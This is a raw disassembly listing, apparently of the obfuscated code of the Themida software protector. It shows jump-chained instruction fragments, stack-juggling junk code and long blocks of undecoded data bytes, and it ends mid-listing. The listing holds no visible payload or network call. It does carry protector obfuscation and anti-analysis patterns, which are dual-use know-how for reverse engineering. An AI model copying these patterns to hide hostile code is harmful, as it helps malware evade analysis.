loc_5EA26F:				; CODE XREF: Themida_:006B311Bj
					; Themida_:006B45BAj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D50BCEh
		mov	eax, edi
		add	edi, 7D508E6h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5EA28D
		jmp	short loc_5EA2A0
; ---------------------------------------------------------------------------


loc_5EA28D:				; CODE XREF: Themida_:005EA289j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5EA29C
; ---------------------------------------------------------------------------


loc_5EA297:				; CODE XREF: Themida_:005EA29Ej
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5EA29C:				; CODE XREF: Themida_:005EA295j
		or	ecx, ecx
		jnz	short loc_5EA297


loc_5EA2A0:				; CODE XREF: Themida_:005EA28Bj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5EA2AD:				; CODE XREF: Themida_:005EA2B4j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5EA2AD


loc_5EA2B6:				; CODE XREF: Themida_:005EAD24j
					; Themida_:005EBAF7j ...
		lodsb
		jmp	loc_5EF669
; ---------------------------------------------------------------------------
		dd 4AF5815Dh, 58185467h, 4244481h, 57DA494Ah, 4246C01h
		dd 4246C81h, 57DA494Ah,	5D2434FFh, 4C481h, 13E90000h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EA2E7:				; CODE XREF: Themida_:005F6149j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		jmp	loc_5EC698
; ---------------------------------------------------------------------------
		dd 9C18D3BEh, 5A3CE96Eh, 315D0000h, 0DE015AD3h,	2EE815Bh
		dd 87000000h, 96E92434h, 89000020h, 0F5295BDEh,	350BE9h
		dd 0C8B6600h, 0E1895124h, 8904EC83h, 0E9552434h, 46B7h
		dd 54241C89h, 4EB2E95Bh, 74FF0000h, 0C8B0424h, 4C48324h
		dd 907AE9h, 54CB8100h, 8138FB1Ah, 5BA519EBh, 5BDF31D0h
		dd 59C468h, 240C8900h, 0CB89F989h, 2434FF59h, 242DE9h
		dd 0F6506600h, 58662414h, 5859E9h, 4C48300h, 15A4E9h, 66506600h
		dd 660A5CB8h, 8B66C329h, 0C4832404h, 22D5E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EA3A6:				; CODE XREF: Themida_:005F3A38j
		push	edi
		jmp	loc_5F0AB9
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD25966h, 0FBE99C24h, 81FFFFFEh,	4C4h, 0E1895100h
		dd 8904EC83h, 51E9243Ch, 0E900000Eh, 0FFFFFEE2h, 48E9F801h
		dd 0BD00000Ch, 7AA76374h, 0FFFFC581h, 0ED81FFFFh, 257F4BB8h
		dd 0BC01E9h, 48B6600h, 0E2895224h, 9E27E9h, 0E9535100h
		dd 89B3h, 0E9240C33h, 0AC32h, 0E919B252h, 7C58h, 4DD6685Dh
		dd 64E90000h
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EA41F:				; CODE XREF: Themida_:005EAA3Bj
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5F3878
; ---------------------------------------------------------------------------
aRN?sisur	db 'Rn?iR',0
		dw 0FF00h
		dd 565D2434h, 0C681E689h, 4, 2CB7E9h, 0C0013400h, 0D8F602E8h
		dd 0C6005F04h, 0C0B75358h, 3802E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EA469:				; CODE XREF: Themida_:005F4AFCj
		sub	ebp, 4
		jmp	loc_5EE68C
; ---------------------------------------------------------------------------
		dd 135AEB81h, 0EB016923h, 135AC381h, 2C8B6923h,	0E1895124h
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 97EBh, 1BE56h, 0F5290000h
		dd 5E5C15Eh, 1F49ED81h,	0C1E92A0Dh, 0F7FFFFFFh,	53E2D1D2h
		dd 2343E9h, 2434FF00h, 0A3F5E9h, 0CCF78100h, 0E903EF90h
		dd 9389h, 242C895Ch, 3D0D8368h,	0BF575D2Bh, 26F6CAEh, 0B0AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EA4E5:				; CODE XREF: Themida_:005EB538j
		pop	ecx
		xor	ecx, 5F541C46h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5F208F
; ---------------------------------------------------------------------------


loc_5EA4FA:				; CODE XREF: Themida_:005ED57Dj
		dec	al
		push	ecx
		mov	ch, 63h
		and	al, ch
		pop	ecx
		jmp	loc_5F0A07
; ---------------------------------------------------------------------------
		db 83h
		dd 0C14D04C4h, 0CD8105E5h, 7EA817FAh, 5EBFC581h, 0EE0975D7h
		dd 2EEC15Dh, 0C843F681h, 0F0294AC1h, 5E2434FFh,	8007E9h
		dd 841BF00h, 10E9619Ah,	0E9000063h, 0FFFFFD76h,	80DCF65Ah
		dd 0E32867F4h, 24048B66h, 2C481h, 51660000h, 0EB28E9B5h
		dd 0EB805966h
		db 49h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 742D05D2h
		not	edx
		jmp	loc_5EBAD6
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1B93E9h, 2434FF00h, 1C866858h, 2C890000h, 815D5424h
		dd 4C5h, 5EE95200h, 68000005h, 509Fh, 0BB241C89h, 165010E7h
		dd 2715BD55h, 0C14D12F4h, 0E0E905E5h, 580000B7h, 690F2A35h
		dd 457FE901h, 0F3810000h, 0E1E4A70Fh, 895BD829h, 0E95558C1h
		dd 6AEEh, 24048150h, 6F8D27F0h,	5CD0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EA5D5:				; CODE XREF: Themida_:005F1B8Cj
		sub	ch, 8Bh
		mov	dh, ch
		pop	ecx
		jmp	loc_5F3E57
; ---------------------------------------------------------------------------
aACfxaCsU	db ' fXcu',0
		db 0
; ---------------------------------------------------------------------------


loc_5EA5EF:				; CODE XREF: Themida_:005F2CEBj
		mov	[esp], ebx
		jmp	loc_5F0FA4
; ---------------------------------------------------------------------------
		db 0FFh
a4Sru		db '4$Ru',0
		dw 2900h
		dd 3FE95FF8h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EA607:				; CODE XREF: Themida_:005F2A7Ej
		shr	ebp, 5
		sub	ebp, 0F425615h
		dec	ebp
		push	ebx
		mov	ebx, 15BA3FC9h
		jmp	loc_5F11E1
; ---------------------------------------------------------------------------


loc_5EA61C:				; CODE XREF: Themida_:005EC233j
		push	3626h
		mov	[esp], ebx
		push	7C7Eh
		mov	[esp], ebp
		mov	ebp, 59F17F99h
		jmp	loc_5EECEA
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0A71F4EC3h, 308CE94Ch, 1C890000h, 71ECBB24h,	0C38157B9h
		dd 0B5A3A8A4h, 1C8BD931h, 0E1895124h, 4C181h, 0C1830000h
		dd 74FF5104h, 8F590424h, 685C2404h, 1DCAh, 36E2E9h, 24048300h
		dd 2434FF04h, 4C4835Fh,	4C781h,	0E9520000h, 30F2h, 0E92434FFh
		dd 0B49Bh, 0B60F66h, 8167E9h, 1C77FF00h, 0D359669Dh, 0E99C241Ch
		dd 0FFFFFC0Ah, 24048F5Ah, 489665Ch, 74FF6624h, 58660224h
		dd 24048F66h, 6D4AE9h, 2434FF00h, 3C966858h, 0F8E90000h
		dd 89000005h, 0D1BF243Ch, 0E91DC26Dh, 2CBDh, 4CE95258h
		dd 2800004Dh, 5BAEE9F8h, 84BF0000h, 29047A57h, 87585FFDh
		dd 0FF5C242Ch, 0E9582434h, 9E1Ah, 0DD88F388h, 5453E9h
		dd 245C0100h, 515B5B04h, 0A576E9h, 0B9515600h, 32051751h
		dd 80E98141h, 81157334h, 0BE6F4EF1h, 0F181417Ah, 295B858Eh
		dd 9D67E9h, 243C8900h, 5450E789h, 40558h, 0AE90000h, 52000056h
		dd 0A75077BAh, 0D6E2813Ah, 0E932E949h, 547Fh
; ---------------------------------------------------------------------------


loc_5EA75C:				; CODE XREF: Themida_:005F3C6Bj
		mov	[esp], ebx
		pop	eax
		jmp	loc_5F6172
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 113FE9h, 0EEE95B00h,	0FF00009Eh, 589D1C77h, 9C240411h
		dd 43BFE9h, 24BF00h, 0C6810000h, 116E23BCh, 0BA52FE01h
		dd 2131F77h, 2ABFE9h, 4EC8300h,	0BD242C89h, 0DBD6735h
		dd 0BD6731BEh, 5DEE310Dh, 555EF529h, 42474FFh, 5A3BE95Dh
		dd 0C9810000h, 19617202h, 0F832E981h, 0CAE9095Dh, 890000B3h
		dd 0C8E92404h, 830000A2h, 0D02904C4h, 8124148Bh, 4C4h
		dd 3DC36800h, 14890000h, 0B25EBA24h, 0D0316410h, 6824148Bh
		dd 4332h, 89240489h, 405E0h, 42D0000h, 87000000h, 248B2404h
		dd 2C82E924h, 0D6F70000h, 7351B951h, 0E9813D87h, 0C7263F8Bh
		dd 8159CE29h, 0D30CD1EEh, 67EE810Bh, 2922762Dh,	0C3815EF3h
		dd 79E5404Ch, 0EB81FB29h, 79E5404Ch, 6E32BD55h,	0C5811511h
		dd 5076796Eh, 814DD5F7h, 2F7074EDh, 0EAF58134h,	1413484h
		dd 74E95DEBh, 8B00003Ch, 4312424h, 47E99C24h, 8BFFFFFAh
		dd 3FE92424h, 53FFFFFAh, 0F7180ABBh, 59E38141h,	4B35C022h
		dd 0E903E3C1h, 7881h, 5259F604h, 25C2E951h, 0D6010000h
		dd 4098E9h, 24248B00h, 0FFFA11E9h, 4C481FFh, 57000000h
		dd 71B2E9h, 241C3300h, 0E9241C31h, 56A0h, 0FFF9F5E9h, 81E689FFh
		dd 4C6h, 16BF5700h, 0D17F0221h,	81DFF7E7h, 93642DF7h, 1AF7812Dh
		dd 811D3B51h, 0AC7721C7h, 0E9FE01CEh, 43B8h, 8904EC83h
		dd 2BA2414h, 81562345h,	0A80317CAh, 0EAC14A4Ah,	5ECA8102h
		dd 8144956Fh, 572E41C2h, 90EA817Eh, 3195C21Dh, 0C1815AD1h
		dd 0AA30D03h, 8104E9C1h, 51A0C9F1h, 8BC82934h, 8957240Ch
		dd 4C781E7h, 83000000h,	0CE904C7h, 6600005Dh, 68240C8Bh
		dd 63ACh, 83240489h, 248904ECh,	748E924h, 0C4810000h, 2
		dd 0E904EC83h, 2FAFh
; ---------------------------------------------------------------------------


loc_5EA960:				; CODE XREF: Themida_:005EFADAj
		add	esp, 4
		sub	ebp, 2D582442h
		pop	edi
		and	ecx, ebp
		pop	ebp
		jmp	loc_5EF475
; ---------------------------------------------------------------------------
aPgVsX		db '^G$Vx',0
		dw 3100h
		dd 25E9241Ch, 8900001Bh, 0E9502434h, 7926h, 0EFC047B7h
		dd 4CF8007h, 0E942EF80h, 6839h,	2A8AC181h, 0CB018FC1h
		dd 83240C8Bh, 0BA5204C4h, 512834EFh, 4CCBE9h, 4EBC100h
		dd 98CCE9h, 48B5400h, 0E3895324h, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 405h, 42D00h, 4330000h, 24043124h, 5C240433h
		dd 0E9242C89h, 88DCh, 5202C483h, 0C2815A54h, 4,	2EA81h
		dd 0FF520000h, 0E9042474h, 0FFFFFC9Ch, 34E9D901h, 81000013h
		dd 4C5h, 4EC8300h, 0BE243489h, 38F565D8h, 68BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EAA2D:				; CODE XREF: Themida_:005EB7F8j
		add	ecx, 64383419h
		sub	ecx, 75E81482h
		sub	ebp, ecx
		jmp	loc_5EA41F
; ---------------------------------------------------------------------------
		dd 2434895Ch, 0F4242C81h, 8F553B46h, 0F4008100h, 8B553B46h
		dd 0C4812434h, 4, 0FFF855E9h, 0C38143FFh, 0BA72D597h, 315BDA31h
		dd 0EB815AD3h, 64C0A62h, 3BBCC381h, 53E9510Dh, 1000006h
		dd 0ACCAE9D5h, 0E95C0000h, 0FFFFF82Ah, 720F68h,	240C8900h
		dd 4EC81h, 34890000h, 2A23BE24h, 0A86827C2h, 591F1F7Dh
		dd 348BF131h, 4C48324h,	6575F181h, 0EC812B39h, 4, 0BB241C89h
		dd 2DB974E1h, 0AD1CE9h,	4C48300h, 938EE951h, 52510000h
		dd 702E81BAh, 0D6C2816Dh, 89E307D4h, 0E1815AD1h, 7A5E3FC3h
		dd 0A097E9h, 3AB85000h,	566CF1Ch, 35432FA9h, 913AE9h, 7596800h
		dd 4890000h, 0A099E924h, 0C4830000h, 243C3304h,	33243C31h
		dd 248B243Ch, 48B6624h,	2679E924h, 0D3F70000h, 7B40EB81h
		dd 0E3C13909h, 0FA84E908h, 5866FFFFh, 148BD030h, 4C48324h
		dd 0B037E9h, 24248B00h,	50241489h, 0F768E99Ch, 4481FFFFh
		dd 4D4F0424h, 7C013794h, 6C810424h, 4D4F0424h, 34FF3794h
		dd 0C4815F24h, 4, 0FFF745E9h, 8BF901FFh, 0C483243Ch, 0C3BF5704h
		dd 0E9759218h, 2ADEh, 9A39EA25h, 37D684Ah, 1CE90000h, 5B0000B9h
		dd 1CEBE9h, 24348700h, 95BB535Ch, 4375A942h, 257BE381h
		dd 0EB8130DEh, 6872A53h, 0A59AE9h, 24048100h, 4, 83242C8Bh
		dd 0E86804C4h, 8900007Ah, 4B9240Ch, 1000000h, 240C8BCDh
		dd 4C481h, 0C5830000h, 4D3A6802h, 54E90000h, 81000040h
		dd 997E9EF1h, 0E981411Dh, 30E1D93Ah, 8159CA01h,	376D3BC2h
		dd 694DE94Dh, 0F3810000h, 51937CDh, 24048B5Fh, 51E38953h
		dd 4B9h, 59CB0100h, 4B951h, 0C3810000h,	24DD005Ah, 83E9CB01h
		dd 5300009Ch, 7B74E9h, 4EC8300h, 24048F54h, 691E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EAC3D:				; CODE XREF: Themida_:005F33A2j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esi
		push	esi
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		pop	ebp
		pop	esi
		pop	edi
		mov	edx, eax
		jmp	loc_5EC3FF
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 5C242C87h,	8DE3E9h, 869BB00h, 0C38147D7h
		dd 7D5204B4h, 0F2E1EB81h, 95E94871h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EAC7B:				; CODE XREF: Themida_:005EEEDBj
		pop	eax
		jmp	loc_5ED4F9
; ---------------------------------------------------------------------------
		db 51h,	0F7h, 14h
		dd 0D1415924h, 0FB2CE9E9h, 4481FFFFh, 672A0424h, 6C295B5Dh
		dd 51570424h, 68114AB9h, 49494950h, 0E981D9F7h,	58201B58h
		dd 0B44BF181h, 0CF890C2Ah, 77EE959h, 0C3010000h, 241C3358h
		dd 33241C31h, 0B5E9241Ch, 89000069h, 0E589242Ch, 4BB53h
		dd 0DD010000h, 0BF57535Bh, 709E7627h, 143BF781h, 0B8502798h
		dd 34F5011Ah, 0F63A8D35h, 2F08E908h, 0BE560000h, 1AD708BEh
		dd 0E95EF031h, 0FFFFF8C4h
; ---------------------------------------------------------------------------


loc_5EAD04:				; CODE XREF: Themida_:005EB0F0j
		jmp	loc_5F43FE
; ---------------------------------------------------------------------------


loc_5EAD09:				; CODE XREF: Themida_:005F4FABj
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 42h
		dd 56359206h, 0F15B59BEh, 0A4F68157h, 13D1A6Dh,	0C1815EF1h
		dd 234540Bh, 0EEF4C181h, 0CE21195Ah, 7F71E959h,	5FE90000h
		dd 52FFFFF5h, 1587E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EAD5D:				; CODE XREF: Themida_:005EFDC0j
		push	edi
		jmp	loc_5F291F
; ---------------------------------------------------------------------------


loc_5EAD63:				; CODE XREF: Themida_:005EFEEBj
		mov	[esp], ebp
		jmp	loc_5F4588
; ---------------------------------------------------------------------------
		dd offset dword_455248+38220h
		align 10h
		dd 89240C89h, 4EC81E1h,	89000000h, 0E7E92414h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EAD83:				; CODE XREF: Themida_:005F3F89j
		add	edi, 4
		sub	edi, 4
		jmp	loc_5ED33A
; ---------------------------------------------------------------------------
		dd 8EFC15Dh, 6BABA52h, 0EA8113C0h, 531D2BD6h, 350BBF57h
		dd 0FA090C47h, 2738E9h,	241C8900h, 2542BF57h, 7C293734h
		dd 585F0424h, 34254205h, 0E6895637h, 4C681h, 33E90000h
		dd 81000041h, 4C4h, 66D03000h, 8324148Bh, 686602C4h, 0D2E9646Fh
		dd 66000065h, 665666ADh, 66706D68h, 8324348Bh, 2D6602C4h
		dd 0B6E90A48h, 81000049h, 740813C7h, 3C335A4Fh,	243C3124h
		dd 8B243C33h, 4FE2424h,	97E99C24h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EAE1F:				; CODE XREF: Themida_:005EBBA6j
		neg	esi
		not	esi
		jmp	loc_5ECDBA
; ---------------------------------------------------------------------------


loc_5EAE28:				; CODE XREF: Themida_:005EFC52j
		add	esp, 4
		xchg	esi, edi
		sub	esp, 4
		mov	[esp], eax
		push	edi
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		push	117Eh
		mov	[esp], edi
		push	esi
		mov	esi, 1
		jmp	loc_5EFECA
; ---------------------------------------------------------------------------
		db 1, 0EFh, 5Dh
		dd 2C781h, 3C870000h, 24248B24h, 9CC83B66h, 0FFF44DE9h
		dd 0A72CACFFh, 4EC81h, 0C890000h, 6609B124h, 0E9BFB551h
		dd 23A9h, 0E904EC83h, 5A0Eh, 8B243C87h,	31662424h, 0E99C2404h
		dd 0FFFFF41Eh, 13E9505Fh, 87000082h, 248B242Ch,	0DB685324h
		dd 89000063h, 4812424h,	424h, 241C8B00h, 4C481h, 0C3810000h
		dd 4, 9F49E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EAEC9:				; CODE XREF: Themida_:005F2814j
		mov	edx, 5AD764ABh
		jmp	loc_5EC524
; ---------------------------------------------------------------------------
		db 68h
		dd 168Dh, 89241489h, 4BE56E2h, 81000000h, 0E6570AEAh, 81F2010Bh
		dd 0E6570AC2h, 0FA685E0Bh, 89000078h, 95E92434h, 5300002Fh
		dd 1F9B68h, 24248900h, 4BA52h, 84E90000h, 8B00004Dh, 89662424h
		dd 50662414h, 0F394E99Ch, 0D6F7FFFFh, 2980E9h, 49685300h
		dd 0E90BF852h, 3380h, 47FE68h, 24348900h, 0E43FC3BEh, 0A2CE813Dh
		dd 8107AA4Dh, 11801FC6h, 9DEF81C0h, 13CA76Ch, 2124E9F7h
		dd 8F5B0000h, 248B2404h, 4C48324h, 9C240401h, 0FFF349E9h
		dd 23BFBDFFh, 0EB297C5Fh, 4C3CE9h, 0E9E38900h, 0C55h, 4EC81h
		dd 0C890000h, 65436824h, 8F540000h, 4832404h, 0C8B0424h
		dd 4C48324h, 4C181h, 0E9550000h, 1E92h,	83241C8Bh, 0BB5304C4h
		dd 53C13D6Eh, 505BDA21h, 2553E9h, 7BB5BA00h, 0D6310F64h
		dd 0BCC3815Ah, 8114A719h, 1477D8EBh, 52F30150h,	0AD54E9h
		dd 0CE95000h, 89000058h, 405E0h, 0C0830000h, 24048704h
		dd 4C4815Ch, 53000000h,	0F047BABBh, 89CB8115h, 0C11C835Ah
		dd 0EB8106EBh, 77CD7Ah,	835BDA01h, 143302C2h, 24143124h
		dd 8B241433h, 66642424h, 93E90289h, 5FFFFFF2h, 0E958C229h
		dd 5965h, 5624248Bh, 6794E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EB035:				; CODE XREF: Themida_:005F2589j
		pop	eax
		push	45ADh
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		push	5EE96126h
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5F5CC7
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 163A1EEAh, 5F28111h,	0F762C14Dh, 51DAF7D2h, 0E73999B9h
		dd 59CA0117h, 295AD689h, 24348BF1h, 0F704C483h,	0C7C181D9h
		dd 15EA54Bh, 6528E9F9h,	14870000h, 24248B24h, 51C8AF0Fh
		dd 0F21CE99Ch, 483FFFFh, 53580424h, 26BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EB0A5:				; CODE XREF: Themida_:005EB955j
		add	edx, 5F3C0753h
		sub	edx, ecx
		sub	edx, 5F3C0753h
		jmp	loc_5F4D71
; ---------------------------------------------------------------------------
		dd 5866E600h, 6601EE80h, 666DDB68h, 83240C89h, 1C8904ECh
		dd 0A6B0E924h, 81430000h, 0EC060FF3h, 14AFE98Fh, 8B660000h
		dd 60E92404h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB0E7:				; CODE XREF: Themida_:005F5BB8j
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5EAD04
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 4FF2E9h, 0E9DF0100h, 5D27h, 8124048Bh
		dd 4C4h, 24048100h, 18DB6B70h, 1D66BD55h, 44816402h, 3F2E0424h
		dd 6C292CB2h, 0EFE90424h, 0BE00004Fh, 2FA643D0h, 0D21EE81h
		dd 0EEC1214Ah, 8E6C105h, 20D0B951h, 0CE295964h,	92D8E959h
		dd 30AC0000h, 72E2E9D8h, 8B660000h, 0EC81240Ch,	4, 54243C89h
		dd 0AF3FE9h, 241C8900h,	97EB951h, 0EBE94441h, 5A000081h
		dd 0FFFFFF05h, 14D52DFFh, 11E9B08Bh, 0C100008Eh, 0B5E905E2h
		dd 0FF000037h, 1BE92C77h, 1FFFFF1h, 21DEE9F1h, 0C4830000h
		dd 78E95304h, 0BD000051h, 3E157C89h, 1F11F581h,	0E80956C9h
		dd 88C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EB1BD:				; CODE XREF: Themida_:005F27FFj
		xor	dword ptr [esp], 501C087Fh
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		push	78CBh
		mov	[esp], eax
		mov	eax, 501C087Fh
		jmp	loc_5EE6AB
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 5055B624h, 0E630F6B4h, 75A6E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB212:				; CODE XREF: Themida_:005F050Ej
		pop	ebp
		inc	ebp
		push	dword ptr [edi+24h]
		push	ebp
		pop	dword ptr [edi+24h]
		jmp	loc_5EE220
; ---------------------------------------------------------------------------
		dd 2D163FBFh, 0E9CF8710h, 44C4h, 0C85AAD35h, 8E2A2D50h
		dd 0C601E173h, 2C68358h, 5C243487h, 0A751E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB246:				; CODE XREF: Themida_:005EB4E0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		jmp	loc_5EC5D2
; ---------------------------------------------------------------------------
		dd 3301C381h, 2D597150h, 75536F89h, 6FE3E9h, 80A9B300h
		dd 0CB809AEBh, 0A6B450B7h, 58DBE9h, 0C8B6600h, 0A5BEE924h
		dd 0D6890000h, 2AC6E9h,	3F6C6800h, 14890000h, 6B3D6824h
		dd 58E90000h, 89000080h, 0E6E9241Ch, 68000094h,	516h, 68241489h
		dd 55DD2F61h, 8124148Bh, 4C4h, 0E2814200h, 19B767AAh, 124C68h
		dd 241C8900h, 6AD8DEBBh, 6EB8E9EEh, 0EC810000h,	4, 89242C89h
		dd 4C581E5h, 83000000h,	2C8704EDh, 3C895C24h, 4EC8124h
		dd 89000000h, 50682434h, 5E41C61Eh, 0FB5B850h, 0C6295965h
		dd 17D8E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB306:				; CODE XREF: Themida_:005F354Cj
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5EECC7
; ---------------------------------------------------------------------------
		db 1
		dd 5B04245Ch, 5124048Bh, 0BB53E189h, 4,	835BD901h, 0EC8104C1h
		dd 4, 0FF240C89h, 59042474h, 5C24048Fh,	70A5BD55h, 0E8297833h
		dd 0EF68E95Dh, 0FE68FFFFh, 0E900007Dh, 3420h, 7B1DD8BAh
		dd 0F7DAF741h, 29E281DAh, 810B2457h, 0BE63F6C2h, 3E2C17Eh
		dd 617FEA81h, 0D021CD76h, 0D9A0055Ah, 0C121CEEBh, 582434FFh
		dd 4EC8153h, 89000000h,	4832424h, 0E95B0424h, 1FC3h
; ---------------------------------------------------------------------------


loc_5EB398:				; CODE XREF: Themida_:005F0EA4j
		sub	dword ptr [esp], 0DB04D6Eh
		pop	edx
		jmp	loc_5F64A0
; ---------------------------------------------------------------------------
		db 0BBh, 2 dup(0)
		dd 0C3290000h, 0E0C15B93h, 0E9D0F703h, 6858h, 405h, 24048700h
		dd 0FFFC67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EB3C5:				; CODE XREF: Themida_:005EF366j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	dword ptr [esp+4], 4FD75CECh
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 4FD75CECh
		add	dword ptr [esp+4], 4620687Dh
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_5EFC65
; ---------------------------------------------------------------------------
		dd 17E9D3F7h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB3FB:				; CODE XREF: Themida_:005F3B5Cj
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 65D61BC1h
		mov	esi, 0B0A4414Bh
		add	esi, edi
		pop	edi
		shl	esi, 6
		push	415Fh
		mov	[esp], ebp
		jmp	loc_5F03F6
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 875FF801h, 0E95C2404h, 3E19h, 8247C29h, 0AFA7E9h
		dd 8BF83000h, 0C481241Ch, 4, 70B568h, 241C8900h, 0E9506DB3h
		dd 5A2Eh, 0FE26B050h, 30AB2CC8h, 0F30058C6h, 80C3005Ah
		dd 815220EBh, 4ECh, 3CF2E900h, 0F0680000h, 8900002Bh, 0C3E9240Ch
		dd 89FFFFEEh, 0DDB82404h, 0E91F390Eh, 1B74h, 8F04C483h
		dd 248B2404h, 8991E924h, 68660000h, 54663609h, 24048F66h
		dd 4EC81h, 3C890000h, 0E95F5424h, 25D3h
; ---------------------------------------------------------------------------


loc_5EB4BC:				; CODE XREF: Themida_:005EE687j
		dec	edi
		sub	edi, 377A371Ah
		add	ecx, edi
		pop	edi
		add	ecx, edi
		sub	ecx, 10A74813h
		pop	edi
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5EB246
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 1725E9h, 66EE8800h, 8ECE8059h, 1E186866h, 24048966h
		dd 8831B652h, 9AF6E9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB506:				; CODE XREF: Themida_:005F6257j
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 21B2575Ah
		jmp	loc_5F4C1D
; ---------------------------------------------------------------------------


loc_5EB51A:				; CODE XREF: Themida_:005F449Bj
		dec	ecx
		xchg	ecx, edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, 846EC687h
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		xor	dword ptr [esp], 5F541C46h
		jmp	loc_5EA4E5
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 0C1h
		dd 0D5F708EDh, 5208E5C1h, 3D052ABAh, 5AD53123h,	4D01B52Dh
		dd 5E82944h, 444D01B5h,	240C8B5Dh, 4C481h, 68510000h, 29D5h
		dd 70AE9h, 241C3100h, 0E9241C33h, 8581h, 692C22B9h, 33B95143h
		dd 0BA533079h, 0EED3E3F5h, 2959CA31h, 0E0E959CAh, 52000016h
		dd 0F680BFB6h, 0A100E9F9h, 0DDF70000h, 60E9FD87h, 66000003h
		dd 0E924048Bh, 78E5h
; ---------------------------------------------------------------------------


loc_5EB5B4:				; CODE XREF: Themida_:005F4563j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5ED6A2
; ---------------------------------------------------------------------------
		db 42h,	81h, 0EAh
		dd 0C41D7140h, 79E9D521h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB5CB:				; CODE XREF: Themida_:005EFBF4j
		push	ecx
		jmp	loc_5EFE36
; ---------------------------------------------------------------------------


loc_5EB5D1:				; CODE XREF: Themida_:005EC303j
		mov	dh, 0E5h
		add	dh, 7Ch
		xor	bl, dh
		pop	edx
		jmp	loc_5F0573
; ---------------------------------------------------------------------------


loc_5EB5DE:				; CODE XREF: Themida_:005F4E4Bj
		mov	ecx, 5B24514Dh
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		inc	ebx
		jmp	loc_5F2023
; ---------------------------------------------------------------------------
		dw 1489h
		dd 467FE924h, 0C7810000h, 62D56409h, 0F280EF81h, 0FD89559Ah
